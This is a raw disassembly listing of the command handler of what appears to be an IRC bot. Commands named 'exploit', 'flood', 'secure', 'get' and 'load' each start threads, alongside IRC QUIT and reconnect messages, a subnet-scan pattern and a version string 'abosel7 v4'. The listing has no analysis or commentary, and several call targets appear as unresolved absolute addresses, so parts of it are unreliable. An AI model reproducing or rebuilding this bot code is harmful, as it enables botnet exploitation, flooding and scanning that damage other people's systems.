		pop	ecx
		pop	ecx


loc_403F9D:				; CODE XREF: sub_401ACD+5781j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403FBE
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]


loc_403FB6:				; CODE XREF: sub_401ACD+6DA8j
		call	sub_409869
		add	esp, 14h


loc_403FBE:				; CODE XREF: sub_401ACD+24D3j
					; sub_401ACD+26B0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		jmp	loc_4097D1
; ---------------------------------------------------------------------------


loc_403FCF:				; CODE XREF: sub_401ACD+1876j
					; sub_401ACD+188Bj
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40A5C5
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_403FE8:				; CODE XREF: sub_401ACD+184Cj
					; sub_401ACD+1861j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416FCF
		jmp	loc_404260
; ---------------------------------------------------------------------------


loc_404005:				; CODE XREF: sub_401ACD+1822j
					; sub_401ACD+1837j
		or	edi, 0FFFFFFFFh
		nop
		call	near ptr 26A07AFh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40402E
		push	esi
		call	sub_41C159
		pop	ecx
		mov	edi, eax


loc_40402E:				; CODE XREF: sub_401ACD+2556j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_404047
		cmp	edi, 0FFFFFFFFh
		jnz	loc_409644


loc_404047:				; CODE XREF: sub_401ACD+256Fj
		push	ebx
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BF4C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_404085:				; CODE XREF: sub_401ACD+51BCj
		add	esp, 24h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_401ACD+17F8j
					; sub_401ACD+180Dj
		push	27h
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_4040BE
		cmp	[ebp+var_8], ebx
		jnz	loc_401F75
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BF2C


loc_4040AB:				; CODE XREF: sub_401ACD+4F88j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		jmp	loc_408C05
; ---------------------------------------------------------------------------


loc_4040BE:				; CODE XREF: sub_401ACD+25CAj
		push	[ebp+var_88]
		lea	eax, [ebp+var_BC4]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_BC8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_B3C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_B38], eax
		mov	[ebp+var_B40], ebx
		jz	short loc_40411F
		push	esi
		push	offset aFull	; "full"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40411F
		mov	[ebp+var_B40], 1


loc_40411F:				; CODE XREF: sub_401ACD+2635j
					; sub_401ACD+2646j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BF08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_B44], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_BC8]
		push	ebx
		push	eax
		push	offset sub_419E38
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_B44]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40418D


loc_404177:				; CODE XREF: sub_401ACD+26BEj
		cmp	[ebp+var_B34], ebx
		jnz	loc_403FBE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_404177
; ---------------------------------------------------------------------------


loc_40418D:				; CODE XREF: sub_401ACD+26A8j
		nop
		call	near ptr 269086Bh
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BECC
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403FBE
; ---------------------------------------------------------------------------


loc_4041AD:				; CODE XREF: sub_401ACD+17CEj
					; sub_401ACD+17E3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_4041CC
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42BEB4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4041CC:				; CODE XREF: sub_401ACD+26E3j
		push	[ebp+arg_4]
		call	dword_4CBA6C
		call	dword_4CB92C
		call	sub_4188A6
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4041E7:				; CODE XREF: sub_401ACD+17A4j
					; sub_401ACD+17B9j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_41AF8F
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE9C
		jmp	short loc_40423F
; ---------------------------------------------------------------------------


loc_404212:				; CODE XREF: sub_401ACD+177Aj
					; sub_401ACD+178Fj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41B243
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BE84


loc_40423F:				; CODE XREF: sub_401ACD+2489j
					; sub_401ACD+2743j
		call	sub_415D38
		add	esp, 18h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40424C:				; CODE XREF: sub_401ACD+1750j
					; sub_401ACD+1765j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415DD8


loc_404260:				; CODE XREF: sub_401ACD+3C8j
					; sub_401ACD+2516j ...
		add	esp, 10h
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_404268:				; CODE XREF: sub_401ACD+1726j
					; sub_401ACD+173Bj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1598],	bl
		jz	short loc_4042A7
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4042A7
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4042A7
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_1598]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 10h


loc_4042A7:				; CODE XREF: sub_401ACD+27A4j
					; sub_401ACD+27AFj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_1618]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_161C],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1514],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1510],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BE6C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_1518],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_161C]
		push	ebx
		push	eax
		push	offset byte_415E4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1518]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40434A


loc_404334:				; CODE XREF: sub_401ACD+287Bj
		cmp	[ebp+var_150C],	ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_404334
; ---------------------------------------------------------------------------


loc_40434A:				; CODE XREF: sub_401ACD+2865j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42BE34
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_40435B:				; CODE XREF: sub_401ACD+16FCj
					; sub_401ACD+1711j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_415CC0
		push	offset unk_42BE1C
		call	sub_415D38


loc_404376:				; CODE XREF: sub_401ACD+23F9j
		add	esp, 10h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_40437E:				; CODE XREF: sub_401ACD+16D2j
					; sub_401ACD+16E7j
		push	[ebp+var_88]
		lea	eax, [ebp+var_C5C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_C60], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_BD4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_BD0], eax
		jz	short loc_4043D8
		push	offset dword_42BE18
		push	esi
		call	sub_41CA50
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_BD8], eax
		jmp	short loc_4043DE
; ---------------------------------------------------------------------------


loc_4043D8:				; CODE XREF: sub_401ACD+28EFj
		mov	[ebp+var_BD8], ebx


loc_4043DE:				; CODE XREF: sub_401ACD+2909j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BDF8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	[ebp+var_BDC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C60]
		push	ebx
		push	eax
		push	offset byte_40B425
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_BDC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40444C


loc_404436:				; CODE XREF: sub_401ACD+297Dj
		cmp	[ebp+var_BCC], ebx
		jnz	loc_406C1F
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_404436
; ---------------------------------------------------------------------------


loc_40444C:				; CODE XREF: sub_401ACD+2967j
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42BDBC
		jmp	loc_409091
; ---------------------------------------------------------------------------


loc_40445D:				; CODE XREF: sub_401ACD+1656j
					; sub_401ACD+166Bj
		push	offset aSaadfgh	; "saadfgh"
		push	offset unk_42BDA4


loc_404467:				; CODE XREF: sub_401ACD+29D9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_406C1F
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: sub_401ACD+162Cj
					; sub_401ACD+1641j
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	offset unk_42BD78
		jmp	short loc_404467
; ---------------------------------------------------------------------------


loc_4044A8:				; CODE XREF: sub_401ACD+1602j
					; sub_401ACD+1617j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4044DA
		cmp	[ebp+var_C], ebx
		jz	short loc_4044E9
		push	esi
		push	[ebp+var_C]
		call	sub_41C2E0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4044E9
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		jmp	short loc_4044E9
; ---------------------------------------------------------------------------


loc_4044DA:				; CODE XREF: sub_401ACD+29E4j
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		pop	ecx


loc_4044E9:				; CODE XREF: sub_401ACD+29E9j
					; sub_401ACD+29F8j ...
		push	0FFFFFFFEh
		jmp	loc_401F77
; ---------------------------------------------------------------------------


loc_4044F0:				; CODE XREF: sub_401ACD+15D8j
					; sub_401ACD+15EDj
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BD28
		call	sub_415D38
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_404512:				; CODE XREF: sub_401ACD+15AEj
					; sub_401ACD+15C3j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		push	offset unk_42BCF8
		call	sub_415D38
		add	esp, 0Ch
		jmp	loc_4095AD
; ---------------------------------------------------------------------------


loc_404531:				; CODE XREF: sub_401ACD+1584j
					; sub_401ACD+1599j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA9E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404547:				; CODE XREF: sub_401ACD+155Aj
					; sub_401ACD+156Fj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA49
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_40455D:				; CODE XREF: sub_401ACD+1530j
					; sub_401ACD+1545j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B9DD
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404573:				; CODE XREF: sub_401ACD+1506j
					; sub_401ACD+151Bj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B90E
		jmp	loc_4048F0
; ---------------------------------------------------------------------------


loc_404589:				; CODE XREF: sub_401ACD+1461j
					; sub_401ACD+1476j
		push	[ebp+esi+var_8C]
		push	27h
		push	offset dword_42BCE8
		push	offset dword_42BCD8
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045A1:				; CODE XREF: sub_401ACD+1437j
					; sub_401ACD+144Cj
		push	[ebp+esi+var_8C]
		push	24h
		push	offset dword_42BCCC
		push	offset dword_42BCBC
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4045B9:				; CODE XREF: sub_401ACD+1050j
					; sub_401ACD+1065j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_4045D8
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_4045DD
; ---------------------------------------------------------------------------


loc_4045D8:				; CODE XREF: sub_401ACD+2AF5j
					; sub_401ACD+2B00j
		mov	eax, dword_429074


loc_4045DD:				; CODE XREF: sub_401ACD+2B09j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_590], eax
		cmp	esi, ebx
		jz	short loc_404602
		push	esi


loc_4045EF:				; CODE XREF: sub_401ACD+2B44j
		lea	eax, [ebp+var_5A0]
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404602:				; CODE XREF: sub_401ACD+2B1Fj
		cmp	[ebp+var_8FF], bl
		jz	short loc_404613
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_4045EF
; ---------------------------------------------------------------------------


loc_404613:				; CODE XREF: sub_401ACD+2B3Bj
		mov	[ebp+var_5A0], bl


loc_404619:				; CODE XREF: sub_401ACD+2B33j
		mov	eax, [ebp+var_4]
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_584], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_620]
		push	eax
		mov	[ebp+var_624], esi
		call	sub_41C360
		add	esp, 0Ch
		push	[ebp+var_590]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42BC94
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	19h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_58C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_624]
		push	ebx
		push	eax
		push	offset word_411BCE
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_58C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4046CA


loc_4046B4:				; CODE XREF: sub_401ACD+2BFBj
		cmp	[ebp+var_57C], ebx
		jnz	loc_401F75
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_4046B4
; ---------------------------------------------------------------------------


loc_4046CA:				; CODE XREF: sub_401ACD+2BE5j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42BC58
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4046DB:				; CODE XREF: sub_401ACD+FFDj
					; sub_401ACD+1012j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		test	ax, ax
		pop	ecx
		jz	short loc_4046FB
		push	esi
		call	sub_41C159
		pop	ecx
		jmp	short loc_404701
; ---------------------------------------------------------------------------


loc_4046FB:				; CODE XREF: sub_401ACD+2C17j
					; sub_401ACD+2C23j
		mov	ax, word_429084


loc_404701:				; CODE XREF: sub_401ACD+2C2Cj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		mov	[ebp+var_97C], ax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_96C], eax
		lea	eax, [ebp+var_9FC]
		push	eax
		mov	[ebp+var_A00], esi
		mov	[ebp+var_970], edi
		call	sub_41C360
		movzx	eax, [ebp+var_97C]
		add	esp, 0Ch
		push	eax
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42BC2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	edi
		push	eax
		push	[ebp+var_88]
		push	esi
		call	sub_409869
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	6
		push	eax
		call	sub_40B3BA
		add	esp, 30h
		mov	[ebp+var_978], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A00]
		push	ebx
		push	eax
		push	offset dword_40EF1C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_978]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4047D0


loc_4047BA:				; CODE XREF: sub_401ACD+2D01j
		cmp	[ebp+var_968], ebx
		jnz	loc_401F75
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_4047BA
; ---------------------------------------------------------------------------


loc_4047D0:				; CODE XREF: sub_401ACD+2CEBj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42BBEC
		jmp	loc_4097CB
; ---------------------------------------------------------------------------


loc_4047E1:				; CODE XREF: sub_401ACD+FA9j
					; sub_401ACD+FBEj ...
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404809
		push	edi
		push	offset aSec	; "sec"
		call	sub_41CA50
		pop	ecx
		mov	[ebp+var_AA8], ebx
		test	eax, eax
		pop	ecx
		jnz	short loc_404813


loc_404809:				; CODE XREF: sub_401ACD+2D23j
		mov	[ebp+var_AA8], 1


loc_404813:				; CODE XREF: sub_401ACD+2D3Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		cmp	[ebp+var_AA8], ebx
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_AA0], eax
		mov	eax, offset aSecuring ;	"Securing"
		jnz	short loc_40485A
		mov	eax, offset aUnsecuring	; "Unsecuring"


loc_40485A:				; CODE XREF: sub_401ACD+2D86j
		push	eax
		push	offset dword_42BBB8
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	22h
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_B30]
		push	ebx
		push	eax
		push	offset sub_41A366
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_AAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_4048CE


loc_4048B8:				; CODE XREF: sub_401ACD+2DFFj
		cmp	[ebp+var_A9C], ebx
		jnz	loc_4082DE
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_4048B8
; ---------------------------------------------------------------------------


loc_4048CE:				; CODE XREF: sub_401ACD+2DE9j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset dword_42BB7C
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_4048DF:				; CODE XREF: sub_401ACD+F7Fj
					; sub_401ACD+F94j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41ABFB


loc_4048F0:				; CODE XREF: sub_401ACD+2A75j
					; sub_401ACD+2A8Bj ...
		add	esp, 0Ch
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: sub_401ACD+F55j
					; sub_401ACD+F6Aj
		push	offset unk_42BB2C
		jmp	loc_4084F5
; ---------------------------------------------------------------------------


loc_404902:				; CODE XREF: sub_401ACD+F2Bj
					; sub_401ACD+F40j
		push	offset aAbosel7V4 ; "abosel7 v4"
		push	offset dword_42BB1C
		jmp	loc_406BEF
; ---------------------------------------------------------------------------


loc_404911:				; CODE XREF: sub_401ACD+F01j
					; sub_401ACD+F16j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_404971
		push	esi
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		jl	short loc_404966
		cmp	eax, 3
		jge	short loc_404966
		mov	edx, [ebp+arg_18]
		mov	ecx, eax
		shl	ecx, 7
		cmp	[ecx+edx], bl
		lea	esi, [ecx+edx]
		jz	short loc_40495B
		lea	eax, [esi+1]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CD50
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		mov	[esi], bl
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_40495B:				; CODE XREF: sub_401ACD+2E6Dj
		push	eax
		push	offset unk_42BAF0
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404966:				; CODE XREF: sub_401ACD+2E58j
					; sub_401ACD+2E5Dj
		push	eax
		push	offset unk_42BAC4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404971:				; CODE XREF: sub_401ACD+2E4Dj
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_404976:				; CODE XREF: sub_401ACD+2EC5j
		push	[ebp+var_90]
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_404999
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_404976
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_404999:				; CODE XREF: sub_401ACD+2EB9j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CD50
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_4049B3:				; CODE XREF: sub_401ACD+ED7j
					; sub_401ACD+EECj
		push	[ebp+var_8C]
		push	offset dword_42CCC8
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403446
		call	sub_40B583
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_4049D9:				; CODE XREF: sub_401ACD+19B1j
		push	offset aGet	; "get"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404A67
		cmp	dword_4CF180, ebx
		jz	short loc_404A01
		push	offset dword_4CEB60


loc_4049F7:				; CODE XREF: sub_401ACD+2F98j
		push	offset unk_42BA88
		jmp	loc_404A97
; ---------------------------------------------------------------------------


loc_404A01:				; CODE XREF: sub_401ACD+2F23j
		push	10h
		pop	eax
		mov	[ebp+var_2CC], eax
		push	eax
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_2CC]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	eax
		push	[ebp+arg_4]
		nop
		call	near ptr 71AB157Eh
		movzx	eax, [ebp+var_2E2]
		push	eax
		movzx	eax, [ebp+var_2E3]
		push	eax
		movzx	eax, [ebp+var_2E4]
		push	eax
		lea	eax, [ebp+var_E24]
		push	offset aD_D_D_	; "%d.%d.%d.*"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_E24]
		push	eax
		jmp	short loc_4049F7
; ---------------------------------------------------------------------------


loc_404A67:				; CODE XREF: sub_401ACD+2F1Bj
		push	edi
		call	dword_4CBA14
		cmp	eax, 0FFFFFFFFh
		push	edi
		jnz	short loc_404A7B
		push	offset unk_42BA48
		jmp	short loc_404A97
; ---------------------------------------------------------------------------


loc_404A7B:				; CODE XREF: sub_401ACD+2FA5j
		push	offset dword_4CEB60
		call	sub_41C890
		pop	ecx
		mov	dword_4CF180, 1
		pop	ecx
		push	edi
		push	offset unk_42BA1C


loc_404A97:				; CODE XREF: sub_401ACD+2F2Fj
					; sub_401ACD+2FACj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_40349D
; ---------------------------------------------------------------------------


loc_404AAB:				; CODE XREF: sub_401ACD+199Cj
		push	[ebp+arg_8]
		push	offset aExploit	; "exploit"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404BB1
		mov	eax, [ebp+var_4]
		mov	esi, 80h
		mov	[ebp+var_13E8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_13E4],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13F8],	eax
		push	offset aF	; "#f"
		lea	eax, [ebp+var_1478]
		push	esi
		push	eax
		mov	[ebp+var_13F0],	1
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_14F8]
		push	offset aF	; "#f"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	edi
		push	10h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_1508]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42B9E4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	8
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_13EC],	eax
		lea	eax, [ebp+var_2FC]
		push	eax
		lea	eax, [ebp+var_1508]
		push	ebx
		push	eax
		push	offset byte_40BB65
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_13EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_404BA0


loc_404B8A:				; CODE XREF: sub_401ACD+30D1j
		cmp	[ebp+var_13E0],	ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_404B8A
; ---------------------------------------------------------------------------


loc_404BA0:				; CODE XREF: sub_401ACD+30BBj
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42B9A4
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_404BB1:				; CODE XREF: sub_401ACD+2FEFj
		push	[ebp+arg_8]
		push	offset aReconnect_in ; "reconnect.in"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aRin	; "rin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095B4
		push	[ebp+arg_8]
		push	offset aReconnect_in_m ; "reconnect.in.ms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aRinms	; "rinms"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409570
		push	[ebp+arg_8]
		push	offset aFlood	; "flood"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4057B7
		call	near ptr 26A07AFh
		nop
		push	eax
		call	sub_41C2B8
		push	edi
		push	offset aLoad	; "load"
		call	sub_41CA50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CB7
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CB7
		push	[ebp+esi+var_80]
		call	sub_41C159
		pop	ecx
		push	eax
